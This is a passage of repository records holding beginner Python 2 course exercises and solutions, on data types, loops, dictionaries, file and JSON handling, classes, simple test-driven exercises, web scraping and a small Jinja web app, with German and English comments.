"is_vendor": false,
"language": "Python",
"length_bytes": 382,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 7,
"path": "/python_00500_classes/example_more_advanced_exercises/example_01680_classes_exercise_inheritance____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# create a class User\n# add an __init__ method, it should be possible to pass the name of the user\n# add a print_name method which prints the name\n# create a class Programmer which inherits from user\n# add a method do_python, which prints a message \"Programming Python\"\n# finally create instances of User and Programmer\n# show which methods can be called by each of those instances\n"
},
{
"alpha_fraction": 0.5652173757553101,
"alphanum_fraction": 0.5760869383811951,
"avg_line_length": 15.636363983154297,
"blob_id": "8c05fdf949771685d3aa9de340d2830c2af28a6b",
"content_id": "3529d535c3ed13e9f1e9f9503969200fb365ff6b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 184,
"license_type": "no_license",
"max_line_length": 26,
"num_lines": 11,
"path": "/python_00400_functions/example_01370_functions_and_lists____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "\n# mutables, ohhhh\n\ndef change_list(a_list):\n a_list.append(\"New\")\n\n\nif __name__ == '__main__':\n my_list = range(19)\n print my_list\n change_list(my_list)\n print my_list\n"
},
{
"alpha_fraction": 0.6191646456718445,
"alphanum_fraction": 0.6633906364440918,
"avg_line_length": 21.705883026123047,
"blob_id": "7b327d0d2f7acdb406ae9e7e14fbc62a75a23319",
"content_id": "76c7d0b649cdc707f3e7f6c388f1a6ed134c0e7f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 415,
"license_type": "no_license",
"max_line_length": 67,
"num_lines": 17,
"path": "/python_00100_datatypes_calculator/example_00400_operations_bools_exercise_solution.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# coding=utf-8\r\n# erstelle 2 zahlen (Bsp.: 5 und 1000), speichere sie als variablen\r\n# prüfe ob die erste größer als die zweite ist\r\na = 5\r\nb = 500\r\nprint a > b\r\n\r\n# prüfe ob beide zahlen gleich sein\r\nprint a is b\r\nprint a == b\r\n\r\n# erstelle 2 strings (wörter) (z.B. Hallo und Tschüss)\r\n# prüfe ob beide wörter gleich sind\r\nword1 = \"hallo\"\r\nword2 = \"bye\"\r\nprint word1 == word2\r\nprint word1 is word2\r\n\r\n\r\n"
},
{
"alpha_fraction": 0.5972222089767456,
"alphanum_fraction": 0.5972222089767456,
"avg_line_length": 31,
"blob_id": "f9742fab63a17cbd7e148d210e2801fdbea47876",
"content_id": "108e35a92406431c3e4d67533e3610cebc28af1c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 288,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 9,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_00620_while_loop_with_input_exercise_2_solution_2.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# Schreibe eine while Schleife\n# sie bricht nur dann ab, wenn der User \"yes\" oder \"no\" eingegeben hat\nwhile True:\n answer = raw_input(\"Are you human?\").strip()\n if answer.lower() in [\"yes\", \"no\", \"y\", \"n\"]:\n print \"cool\"\n break\n else:\n print \"still awesome\"\n"
},
{
"alpha_fraction": 0.635371208190918,
"alphanum_fraction": 0.635371208190918,
"avg_line_length": 29.53333282470703,
"blob_id": "1354c90931a85ec43f2a13e3b2b2b0dceb13338f",
"content_id": "e21365d99a633ccd75c01d1e4ccf2d384c3dcc66",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 458,
"license_type": "no_license",
"max_line_length": 60,
"num_lines": 15,
"path": "/python_00600_webscrapen/example_01703_beautifulsoup_exercise_solution.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import BeautifulSoup as BS\n\nif __name__ == '__main__':\n # read example html file\n with open(\"example.html\", \"r\") as html_file:\n html_content = html_file.read()\n\n # turn it into a soup\n soup = BS.BeautifulSoup(html_content)\n\n # Exercise: get the divs in the html with id: SuperId\n # print the content of the div\n superdivs = soup.findAll(\"div\", attrs={\"id\": \"SuperId\"})\n for superdiv in superdivs:\n print superdiv.string\n"
},
{
"alpha_fraction": 0.7638888955116272,
"alphanum_fraction": 0.7670940160751343,
"avg_line_length": 30.233333587646484,
"blob_id": "c1a0b8f7420cd4f61862a214257a8e5c9f865f91",
"content_id": "31f723985213801cf621841ff29b352174d7dc61",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 936,
"license_type": "no_license",
"max_line_length": 84,
"num_lines": 30,
"path": "/python_00500_classes/example_more_advanced_exercises/example_01683_university_exercise.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# Part 1\n\n# create following classes: University, Student, Vorlesung\n# University hat\n# folgende Eigenschaften:\n# name und Studenten\n# folgende Methoden:\n# add_student() -> check, ob Student bereits registriert sind\n# remove_student()\n\n# Studenten hat\n# folgende Eigenschaften:\n# matrikelnr, name, alter, vorlesungen\n# folgende Methoden:\n# add_vorlesung() -> check, ob VO bereits gebucht wurde,\n# get_identity() -> soll die Eingeschaften matrikelnr, name und alter zurueckliefern\n# get_vorlesung() -> die besuchten Vorlesungen zurueckliefern\n\n# Vorlesung hat\n# folgende Eigenschaften:\n# kurs_nr, kurs_name\n# folgende Methoden\n# get_vorlesung_Data() -> soll die Eingenschaften als return Wert zurueckliefern\n\n# Part 2\n# erstelle eine university: \"TU-Wien\"\n# erstelle zwei Vorlesungen: \"Maschinenbau\", \"Atomphysik\"\n# erstelle 2 Studenten mit belibigem Namen\n# weise der University die Studenten zu\n# weise den Studenten die Vorlesungen zu"
},
{
"alpha_fraction": 0.6152433156967163,
"alphanum_fraction": 0.6574839353561401,
"avg_line_length": 31.02941131591797,
"blob_id": "288e70b351cb783af98bbe607651230a5308a7c0",
"content_id": "7302e661b9c70c20bb30d768f1f981f95db652d4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1089,
"license_type": "no_license",
"max_line_length": 117,
"num_lines": 34,
"path": "/Python/oop.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import datetime\n\n\nclass Person(object):\n def __init__(self, first_name, last_name, phone_number, birth_year, email):\n self.first_name = first_name\n self.last_name = last_name\n self.phone_number = phone_number\n self.birth_year = birth_year\n self.email = email\n\n def get_full_name(self):\n return\"{} {}\".format(self.first_name, self.last_name)\n\n def get_age(self):\n current_year = datetime.datetime.now()\n age = current_year.year - self.birth_year\n return age\n\n\njohn = Person(first_name=\"John\", last_name=\"Clark\", phone_number=89348239429, birth_year=1979, email=\"[email protected]\")\n\nmarissa = Person(first_name=\"Marissa\", last_name=\"Mayer\", phone_number=83483204032, birth_year=1978, email=\"[email protected]\")\n\nbruce = Person(first_name=\"Bruce\", last_name=\"Wayne\", phone_number=902432309443, birth_year=1939, email=\"[email protected]\")\n\ncontact_book = [john, marissa, bruce]\n\nfor person in contact_book:\n print(person.get_full_name())\n print(person.birth_year)\n print(person.get_age())\n print(person.email)\n print(\"\") # empty line\n"
},
{
"alpha_fraction": 0.6846153736114502,
"alphanum_fraction": 0.6846153736114502,
"avg_line_length": 17.428571701049805,
"blob_id": "484fb18cfe4877dfb3047c8e6dabdefb45a39e9f",
"content_id": "82e2ab1ce7e960a895da7047fbcab189d76645ec",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 130,
"license_type": "no_license",
"max_line_length": 34,
"num_lines": 7,
"path": "/python_00400_functions/example_01360_functions_keyword_arguments____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "\ndef print_greeting(name=\"NoName\"):\n print \"Hello \" + name\n\n\nprint_greeting()\nprint_greeting(\"Oli\")\nprint_greeting(name=\"Oli\")\n"
},
{
"alpha_fraction": 0.6267605423927307,
"alphanum_fraction": 0.6267605423927307,
"avg_line_length": 15.70588207244873,
"blob_id": "a5ba324e76db416bb4461953be3d70a42dbcd277",
"content_id": "82f11c9e0d8d3d6c22026289bab7b023596e93f6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 284,
"license_type": "no_license",
"max_line_length": 30,
"num_lines": 17,
"path": "/python_00300_files_jsons_dicts/example_01220_files_jsons____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import json\n\ncapitals = {\n \"Russia\": \"Moscow\",\n \"Japan\": \"Tokyo\",\n \"Finland\": \"Helsinki\"}\n\nfilename = \"capitals.json\"\n\nwith open(filename, \"w\") as f:\n json.dump(capitals, f)\n\nwith open(filename, \"r\") as f:\n content = json.load(f)\n\nprint content\nprint content[\"Russia\"]\n"
},
{
"alpha_fraction": 0.6268513798713684,
"alphanum_fraction": 0.636884868144989,
"avg_line_length": 27.283782958984375,
"blob_id": "4a517ec229210b86513286784fb48849106b4f44",
"content_id": "b75fa2b7916d453bb7f6e3cb94f011c866f170e0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2093,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 74,
"path": "/WD1-GAE/gae_00200__jinja_parameters__if/example_00510_jinja_if_exercise/main.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# coding=utf-8\nimport os\nimport jinja2\nimport webapp2\nimport datetime\n\n\ntemplate_dir = os.path.join(os.path.dirname(__file__), \"templates\")\njinja_env = jinja2.Environment(loader=jinja2.FileSystemLoader(template_dir), autoescape=False)\n\n\nclass BaseHandler(webapp2.RequestHandler):\n\n def write(self, *a, **kw):\n return self.response.out.write(*a, **kw)\n\n def render_str(self, template, **params):\n t = jinja_env.get_template(template)\n return t.render(params)\n\n def render(self, template, **kw):\n return self.write(self.render_str(template, **kw))\n\n def render_template(self, view_filename, params=None):\n if not params:\n params = {}\n template = jinja_env.get_template(view_filename)\n return self.response.out.write(template.render(params))\n\n\nclass MainHandler(BaseHandler):\n def get(self):\n name = \"Student\"\n return self.render_template(\"main.html\", params={\"name\": name})\n\n\nclass Gratulation(BaseHandler):\n def get(self):\n name = \"Peter\"\n age = 75\n return self.render_template(\"gratulation.html\", params={\"name\": name, \"age\": age})\n\n\nclass BirthdayHandler(BaseHandler):\n def get(self):\n birthdate = datetime.datetime(1707, 4, 15)\n name = \"Euler\"\n datediff = datetime.datetime.now()-birthdate\n\n yeardiff = datetime.datetime.now().year-birthdate.year\n\n return self.render_template(\"gratulation.html\", params={\"age\": yeardiff,\n \"name\": name})\n\n# Exercise Task: Gratulate to your pension\n# Route to /gratulation\n# View: prepare html template with\n# placeholders:\n# - name\n# - age\n# if statement:\n# for age > 70, it should show: Congrats to your pension\n# else: Sorry you still have to work\n# Don't forget the handler, which passes:\n# - name\n# - age\n\n\napp = webapp2.WSGIApplication([\n webapp2.Route('/', MainHandler),\n webapp2.Route('/gratulation', Gratulation),\n webapp2.Route('/birthday', BirthdayHandler)\n], debug=True)\n"
},
{
"alpha_fraction": 0.59375,
"alphanum_fraction": 0.606249988079071,
"avg_line_length": 21.85714340209961,
"blob_id": "d8334c568df58e96049c3a7e0496c64aa5245f00",
"content_id": "9ad12447edb3f09a0d34861a25045c8f0cd15d4c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 160,
"license_type": "no_license",
"max_line_length": 42,
"num_lines": 7,
"path": "/python_00600_webscrapen/example_01707_scraping_get_webpage_exercise_solution.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# fetch the html of orf.at\nimport urllib2\n\nif __name__ == '__main__':\n url = 'https://orf.at'\n response = urllib2.urlopen(url).read()\n print(response)\n"
},
{
"alpha_fraction": 0.6136986017227173,
"alphanum_fraction": 0.6712328791618347,
"avg_line_length": 21.8125,
"blob_id": "21dcc8f2db65ad94ff8b76058565055a8e92fa52",
"content_id": "c728a8e88c165697f1158da8c8de9e7e015e7fd1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 365,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 16,
"path": "/python_00400_functions/example_01435_tdd_exercise_2.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# (2/3 part exercise)\n# TDD Exercise 2:\n# now add the empty function\n# call the test (which should fail)\n\n# from example_01435_tdd_exercise_1 import check_substraction\n\ndef check_substraction():\n assert substraction(10, 20) == -10\n assert substraction(20, 10) == 10\n\ndef substraction(a, b):\n return a-b\n\nif __name__ == '__main__':\n check_substraction()\n"
},
{
"alpha_fraction": 0.5698924660682678,
"alphanum_fraction": 0.5784946084022522,
"avg_line_length": 20.136363983154297,
"blob_id": "fcba5ed53620ad14a212ac9f421ffec209f3b33a",
"content_id": "9044d13ab6f449a65e78ac933ceb1f26eb5a71d2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 465,
"license_type": "no_license",
"max_line_length": 43,
"num_lines": 22,
"path": "/WD1-GAE/gae_00500__authentication_jsonapi/example_01100__json_python/0_json_example.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import json\n\nif __name__ == '__main__':\n # Example 1: load from file\n with open(\"people.json\", \"r\") as f:\n data = json.load(f)\n\n # Example 2: save to file\n with open(\"new_people.json\", \"w\") as f:\n json.dump(data, f)\n\n # Example 3: dump to string\n data_string = json.dumps(data)\n\n print data_string\n print\n\n # Example 4: load from string\n new_data = json.loads(data_string)\n\n for entry in new_data:\n print entry\n"
},
{
"alpha_fraction": 0.5860214829444885,
"alphanum_fraction": 0.6344085931777954,
"avg_line_length": 23.799999237060547,
"blob_id": "96c9f779be728868d438534f038fc5024eb319b7",
"content_id": "355dc3f42d20cda5780f67ff70e6facbf469fb6e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 372,
"license_type": "no_license",
"max_line_length": 66,
"num_lines": 15,
"path": "/python_00300_files_jsons_dicts/example_01110_dictionaries_create_reference_exercise.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# shoppinglist with prices\n# \"bread\", 100\n# \"butter\", 90\n# \"avocado\", 10\n# create a dictionary with the food as key, and the price as value\n\nshopping_list = {\"bread\": 100,\n \"butter\": 90,\n \"avocado\": 10}\nprint(shopping_list)\n\n# now add \"salad\" with the price: 60\n# print the new shoppinglist\nshopping_list[\"salad\"] = 60\nprint(shopping_list)\n"
},
{
"alpha_fraction": 0.46370968222618103,
"alphanum_fraction": 0.5040322542190552,
"avg_line_length": 39.5,
"blob_id": "f724e358736ee772c5083c079658cbfa105f6e27",
"content_id": "7294b56ca8bd0e2af0296ab1191e131fc93869fa",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 497,
"license_type": "no_license",
"max_line_length": 84,
"num_lines": 12,
"path": "/python_00100_datatypes_calculator/example_00110_types.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "print \"Hello World!\" # strings\r\nprint 3 # integer\r\nprint 4.23 # float\r\nprint True # bool\r\nprint 3+4 # 7\r\nprint \"3+4\" # 3+4\r\nprint True and False # False\r\nprint True or False # True\r\nprint True and not False # True\r\nprint 1+1j # complex number\r\nprint 10L # long, können mehrere bits haben als integers\r\n # Integer geht nur 4 bytes, also 32 bit, also ca. 2,7 Mrd."
},
{
"alpha_fraction": 0.561475396156311,
"alphanum_fraction": 0.5860655903816223,
"avg_line_length": 20.18181800842285,
"blob_id": "0ba7bfd37a08c0ab99efdae6c0bbc5cc2cb9bb67",
"content_id": "3347dff4cd626878186ee8042fd7c60b70aa7fb8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 244,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 11,
"path": "/python_00100_datatypes_calculator/example_00320_casting.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "#? too much?\r\nnumber = 1\r\nword = \"1\"\r\n\r\nprint \"Type of int 1: %s\" % type(number)\r\nprint\r\nprint \"Type of string '1': %s\" % type(word)\r\nprint\r\nprint \"Type of str(1): %s\" % type(str(number))\r\nprint\r\nprint \"Type of int('1'): %s\" % type(int(word))\r\n"
},
{
"alpha_fraction": 0.6228373646736145,
"alphanum_fraction": 0.6228373646736145,
"avg_line_length": 16,
"blob_id": "203c5168793f7f9dca0eeb3573034a42b5719d9f",
"content_id": "0e137cb605a5869e1d3710f4f34c4bd22e7a8714",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 289,
"license_type": "no_license",
"max_line_length": 43,
"num_lines": 17,
"path": "/python_00300_files_jsons_dicts/example_01201_files_read_write.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "text = \"This text should be in a nice file\"\n\nfilename = \"my_text.txt\"\n\n# a : append -> will append at the end\n# w : write -> will overwrite\n# r : read\n\nwith open(filename, \"w\") as f:\n f.write(text)\n\n\nwith open(filename, \"r\") as f:\n content = f.read()\n print content\n\nprint \"Done\"\n"
},
{
"alpha_fraction": 0.6393188834190369,
"alphanum_fraction": 0.6501547694206238,
"avg_line_length": 28.363636016845703,
"blob_id": "c8b35669d177d88e19821590e842eb2098664d42",
"content_id": "a8fd9e7f9ae1fb3b85f0684c798091d260e8bf5c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 646,
"license_type": "no_license",
"max_line_length": 97,
"num_lines": 22,
"path": "/python_00400_functions/example_01390_functions_get_input____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "\"\"\"\nIn this example, you can pass the function, which inputs can be accepted as valid\n\"\"\"\n\n\ndef get_input_until_valid(valid_inputs, prompt=\"Please enter: \"):\n entered = None\n while entered not in valid_inputs:\n entered = raw_input(prompt).strip().lower()\n return entered\n\n\nif __name__ == '__main__':\n valid_input_values = [\"y\", \"n\"]\n answer = get_input_until_valid(valid_input_values, prompt=\"Enter y/n: \")\n print(answer)\n print(\"DONE\")\n\n valid_input_values = map(str, range(101))\n answer = get_input_until_valid(valid_input_values, prompt=\"Enter a number between 0 and 100\")\n print(answer)\n print(\"DONE\")\n"
},
{
"alpha_fraction": 0.621076226234436,
"alphanum_fraction": 0.6412556171417236,
"avg_line_length": 15.760000228881836,
"blob_id": "864b45872788ae986f11ff48d55dd46d95c3a73d",
"content_id": "388532f155378cea0d1bc49330b8528890e7d19a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 446,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 25,
"path": "/python_00100_datatypes_calculator/example_00210_operations_integers_with_variables_exercise.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# nehme 2 und 10 und weise variablen zu und dividiere sie\r\n# printe das ergebnis\r\nx = 2.\r\ny = 10\r\nprint x/y\r\n\r\n# nehme deinen Vor- und Nachnamen als Strings,\r\n# addiere sie zu einer neuen Variable\r\n# printe sie\r\n\r\nz = \"Jacob \" + \"Butschek\"\r\nprint z\r\n\r\n# teile eine zahl durch 0\r\n# was passiert?\r\n\r\ntry:\r\n 5/0\r\nexcept ZeroDivisionError:\r\n print \"Do not divide by zero\"\r\n\r\ntry:\r\n int(\"abc\")\r\nexcept :\r\n print \"Do not divide by zero\"\r\n\r\n"
},
{
"alpha_fraction": 0.6875,
"alphanum_fraction": 0.7053571343421936,
"avg_line_length": 17.66666603088379,
"blob_id": "79146ac421a54ed263306a7fc0453dbb72a62711",
"content_id": "3843253cc9ce90326455dd67d9d1eac78622fd09",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 112,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 6,
"path": "/python_00600_webscrapen/example_01706_scraping_get_webpage_exercise.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# # fetch the html of orf.at\n\nimport urllib2\n\ncontent = urllib2.urlopen(\"https://orf.at\").read()\nprint(content)\n"
},
{
"alpha_fraction": 0.6991525292396545,
"alphanum_fraction": 0.7161017060279846,
"avg_line_length": 25.22222137451172,
"blob_id": "11bf79b948460443eb560452163c7d18facd37c5",
"content_id": "87ad517cc0bf6fdd440e1fe78a24eed2a084563f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 236,
"license_type": "no_license",
"max_line_length": 55,
"num_lines": 9,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_00620_while_loop_with_input_try_except_exercise_2_solution.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# Schreibe einen Code, der einen Fehler produziert\n# Z.B. ZeroDivisionError\n# Packe das ganze in ein try-except, und rette den Code\n\ntry:\n result = 22 / 0\n print result\nexcept ZeroDivisionError:\n print \"You chose 0! You lost!\"\n"
},
{
"alpha_fraction": 0.6277056336402893,
"alphanum_fraction": 0.6969696879386902,
"avg_line_length": 24.66666603088379,
"blob_id": "41cc2af100f5e1e95a59f01e303be06e1e138161",
"content_id": "1b22e3d4b9a1b1d90feabf712c977bdc7fb77c6b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 231,
"license_type": "no_license",
"max_line_length": 69,
"num_lines": 9,
"path": "/python_00400_functions/example_01435_tdd_exercise_1.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# (1/3 part exercise)\n# TDD Exercise 1:\n# create a test\n# it should test for correct subtraction of 2 numbers from each other\n\n\ndef check_substraction():\n assert substraction(10, 20) == -10\n assert substraction(20, 10) == 10\n"
},
{
"alpha_fraction": 0.5615853667259216,
"alphanum_fraction": 0.5615853667259216,
"avg_line_length": 26.33333396911621,
"blob_id": "f1696da4ec691ae3e9591d674d86616ba6eadc90",
"content_id": "1c8f03c5c67a553c0d5599b2fccd750276405ff7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1640,
"license_type": "no_license",
"max_line_length": 93,
"num_lines": 60,
"path": "/python_00500_classes/example_01670_classes_exercise_social_account.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# create classes for social account\n# they have a field for: name, friends\n# they have methods to: count_friends, befriend, unfriend\n\n\nclass SocialAccount(object):\n def __init__(self, name):\n self.name = name\n self.friends = []\n\n def count_friends(self):\n return len(self.friends)\n\n def befriend(self):\n\n\ndef main():\n print(\"Welcome to social accounts manager program!\")\n\n while True:\n print(\"Please choose:\")\n print(\"a) View list of all vehicles\")\n print(\"b) Edit the kilometers done so far for a vehicle\")\n print(\"c) Edit general service date for a vehicle\")\n print(\"d) Add a new vehicle\")\n print(\"e) Quit the program\")\n print(\"\")\n\n action = raw_input(\"Please type a/b/c or d, according to what you would like to do:\")\n print(\"\")\n\n with open(storage_file, \"r\") as ssf:\n vehicles = ssf.read()\n\n with open(storage_file, \"w\") as ssf:\n ssf.write(vehicles)\n\n if action.lower() == \"a\":\n vehicle_list(vehicles)\n elif action.lower() == \"b\":\n edit_kilometers(vehicles)\n elif action.lower() == \"c\":\n edit_service_date(vehicles)\n elif action.lower() == \"d\":\n add_new_vehicle(vehicles)\n elif action.lower() == \"e\":\n print(\"Thank you for using the vehicle program manager.\")\n print(\"Goodbye.\")\n break\n else:\n print(\"\")\n\n\nif __name__ == '__main__':\n storage_file = \"vehicle_manager_program.txt \"\n\n with open(storage_file, \"r\") as sf:\n content = sf.read()\n\n main(content)\n"
},
{
"alpha_fraction": 0.6051502227783203,
"alphanum_fraction": 0.6072961091995239,
"avg_line_length": 22.299999237060547,
"blob_id": "052e0660f00e83d441136b919e34d2d99adf3289",
"content_id": "d67aed2e004767e0fd6a226a6722ac5371f4e0d5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 467,
"license_type": "no_license",
"max_line_length": 41,
"num_lines": 20,
"path": "/python_00300_files_jsons_dicts/example_01132_dictionaries_iterate_items.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# coding=utf-8\ncapitals = {\"France\": \"Paris\",\n \"Iceland\": \"Reykjavik\",\n \"Denmark\": \"Copenhagen\",\n \"Litauen\": \"Vilnius\",\n \"Canada\": \"Ottawa\",\n \"Österreich\": \"Wien\"}\n\nprint \"Study the following list:\"\nprint\nprint capitals.items()\nprint capitals\n\n# items gives a list of tuples\nfor x in capitals.items():\n print x\n\n# we can unpack in forloop\nfor country, capital in capitals.items():\n print country, capital\n"
},
{
"alpha_fraction": 0.3694581389427185,
"alphanum_fraction": 0.3891625702381134,
"avg_line_length": 39,
"blob_id": "d6e7f59980ec6be1dbdc069408f32ab322c5db08",
"content_id": "149b22bd0ea97b51afebba081d699c360dc124df",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 203,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 5,
"path": "/python_00100_datatypes_calculator/example_00130_show_types.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "print type(1) # <type 'int'>\r\nprint type(1.) # <type 'float'>\r\nprint type(\"hello\") # <type 'str'>\r\nprint type(10l)\r\nprint type (\"a\")"
},
{
"alpha_fraction": 0.6981664299964905,
"alphanum_fraction": 0.6981664299964905,
"avg_line_length": 25.259260177612305,
"blob_id": "e46218fb4e90b515a90bca4b1b3ea4e4579bbea0",
"content_id": "49d006b7545bc4351c07f10a0ce5d8cda3c01a78",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 709,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 27,
"path": "/python_00500_classes/example_more_advanced_exercises/example_01680_classes_exercise_inheritance_solution____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# create a class User\n# add an __init__ method, it should be possible to pass the name of the user\n# add a print_name method which prints the name\n# create a class Programmer which inherits from user\n# add a method do_python, which prints a message \"Programming Python\"\n# finally create instances of User and Programmer\n# show which methods can be called by each of those instances\n\nclass User:\n def __init__(self, name):\n self.name = name\n\n def print_name(self):\n print \"Name = \" + self.name\n\n\nclass Programmer(User):\n def do_python(self):\n print \"Programming Python\"\n\n\nbrian = User(\"brian\")\nbrian.print_name()\n\ndiana = Programmer(\"Diana\")\ndiana.print_name()\ndiana.do_python()\n"
},
{
"alpha_fraction": 0.6871379017829895,
"alphanum_fraction": 0.6894553899765015,
"avg_line_length": 31.923076629638672,
"blob_id": "0f4fbf712cd1470ac8fff089e33c9ada03c35b22",
"content_id": "a46e4cd738b689f21ec3a104b5c16d17b3dc87f9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 863,
"license_type": "no_license",
"max_line_length": 116,
"num_lines": 26,
"path": "/python_00300_files_jsons_dicts/example_01140_dictionaries_capitals_game_exercise.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# create a dictionary, with 3 countries and 3 capitals\n# choose one country randomly\n# print the country and its capital\n\nimport random\n\nbaltic_states = {\"Lithuania\": \"Vilnius\",\n \"Latvia\": \"Riga\",\n \"Estonia\": \"Tallinn\"}\n\ncurrent_country = random.choice(baltic_states.keys())\n\nguess = raw_input(\"What is the capital of this baltic state: {}? \".format(current_country))\n\n# print(current_country + \" \" + baltic_states[current_country])\n\nif guess.lower() == baltic_states[current_country].lower():\n print(\"Congratulations! {} is the capital city of {} .\".format(baltic_states[current_country], current_country))\nelse:\n print(\"Sorry!\")\n\n# after choosing the country randomly,\n# ask the user to input the capital to the chosen country\n# compare the input, and the real value\n# if correct, congratulate\n# if wrong, say sorry\n\n\n\n\n\n\n\n"
},
{
"alpha_fraction": 0.5440729260444641,
"alphanum_fraction": 0.5440729260444641,
"avg_line_length": 26.41666603088379,
"blob_id": "e52d9fa64d8b0c86a452f9623b15e130177ab2c0",
"content_id": "2ce8673b1454e652fdc69b67652a181f076fb7bc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 329,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 12,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_00620_while_loop_with_input_exercise_1.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# Schreibe eine Schleife, die nach einem Input fragt,\n# bis man eines der Grundrechenarten eingegeben hat.\n\n# tipp:\n# \"+\" in \"+-/*\"\n# \"+\" in [\"*\", \"+\", \"-\", \"/\"]\n\nanswer = None\nwhile answer not in [\"*\", \"+\", \"-\", \"/\"]:\n answer = raw_input(\"Enter an operator (+, -, *, /):\")\nelse:\n print (\"Thank you, you chose: \" + answer)\n"
},
{
"alpha_fraction": 0.4642857015132904,
"alphanum_fraction": 0.511904776096344,
"avg_line_length": 21.81818199157715,
"blob_id": "7c1c5b70859bd793930c774e518fcc711d6c3360",
"content_id": "2ef97ecec539eca8a375ddbb7e63917ae24d0316",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 252,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 11,
"path": "/python_00300_files_jsons_dicts/example_01100_dictionaries_create_compared_to_list.py",
"repo_name": "jacbut/wd1_2018",
